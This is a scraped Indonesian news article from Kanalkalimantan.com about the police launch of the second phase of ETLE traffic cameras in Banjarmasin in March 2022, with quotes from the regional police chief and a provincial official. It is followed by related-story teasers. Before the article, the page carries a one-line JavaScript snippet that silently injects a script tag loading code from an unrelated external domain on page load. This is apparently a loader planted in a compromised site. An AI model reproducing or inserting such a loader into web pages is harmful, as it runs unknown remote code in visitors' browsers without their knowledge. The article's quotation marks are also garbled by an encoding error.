(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Electronic Traffic Law Enforcement (ETLE) tahap kedua resmi diluncurkan oleh Kepolisian Republik Indonesia, Sabtu (26/3/2022).
Kapolda Kalsel, Irjen Pol Rikwanto mengatakan, peluncuran ETLE ini bertujuan untuk menciptakan budaya tertib berlalu lintas di masyarakat.
Irjen Rikwanto menambahkan bahwa kehadiran ETLE ini juga untuk memudahkan masyarakat dalam mengurus perkara penilangan di era digital saat ini.
“Dengan ETLE dapat menciptakan sistem yang simpel untuk memudahkan masyarakat. Dulu kalau kena tilang itu kita harus datang ke pengadilan, dan mengikuti sidang. Dengan ETLE ini langsung, masyarakat yang terbukti melalui tangkapan kamera ETLE melakukan pelanggaran akan kita kirim surat pemberitahuan agar bisa ditindaklanjuti,†tutur Irjen Pol Rikwanto.
Asisten Bidang Administrasi Umum, Siswansyah (kanan). Foto: mckalsel/jml
Baca juga : AYO IKUT. Sayembara Konsep Perancangan Kawasan dan Bangunan Gedung di IKN Nusantara
Irjen Pol Rikwanto menjelaskan, tidak semua masyarakat yang tersorot kamera dan mendapat surat pemberitahuan harus bayar denda tilang, melainkan boleh mengajukan komplain jika memang yang bersangkutan tidak melakukan pelanggaran, mengingat tidak sedikit kendaraan bermotor yang kepemilikannya sudah melebihi satu tangan.
“Jadi tidak semua yang dikirimi surat itu (pemberitahuan) harus bayar denda tilang, kalau memang ada komplain bisa disampaikan langsung ke Polda Kalsel. ETLE ini juga sebagai upaya kepolisian untuk menertibkan kepemilikan kendaraan, mengingat tidak sedikit yang kepemilikannya lebih dari satu tangan dan peningkatan PAD,†beber Irjen Pol Rikwanto.
Polda Kalsel akan menambah ETLE di kabupaten/kota lainnya di Kalsel dan berharap dukungan dari masing-masing pemerintah daerah. Saat ini, ETLE di Banjarmasin berada di Jalan Ahmad Yani Km 6 sebanyak dua titik arah masuk dan keluar kota, satu titik di simpang empat Jalan Lambung Mangkurat Banjarmasin.
“Kedepan kita akan tambah lagi, namun juga harus dilakukan evaluasi dan peninjauan di lapangan bersama stakeholder. Saya berharap pemerintah provinsi dan kabupaten kota bersedia membantu dan mendukung penambahan titik ETLE ini,†kata Irjen Pol Rikwanto.
Baca juga : Tipu-tipu PNS Gadungan, Gasak Uang Seorang Wanita yang Dijanjikan Kawin
Pemerintah Provinsi (Pemprov) Kalsel mengapresiasi peluncuran ETLE tahap kedua oleh Kepolisian Republik Indonesia.
Gubernur Kalsel diwakili oleh Asisten Bidang Administrasi Umum, Siswansyah mengatakan Pemprov Kalsel siap memberikan dukungan terhadap Polda Kalsel terkait penambahan ETLE di Banua.
“Pemerintah Provinsi Kalsel tentunya akan mendukung Polda Kalsel terkait penambahan titik-titik penerapan ETLE ini, ya setidaknya satu atau dua titik bisa kita bantu nanti,†kata Siswansyah. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.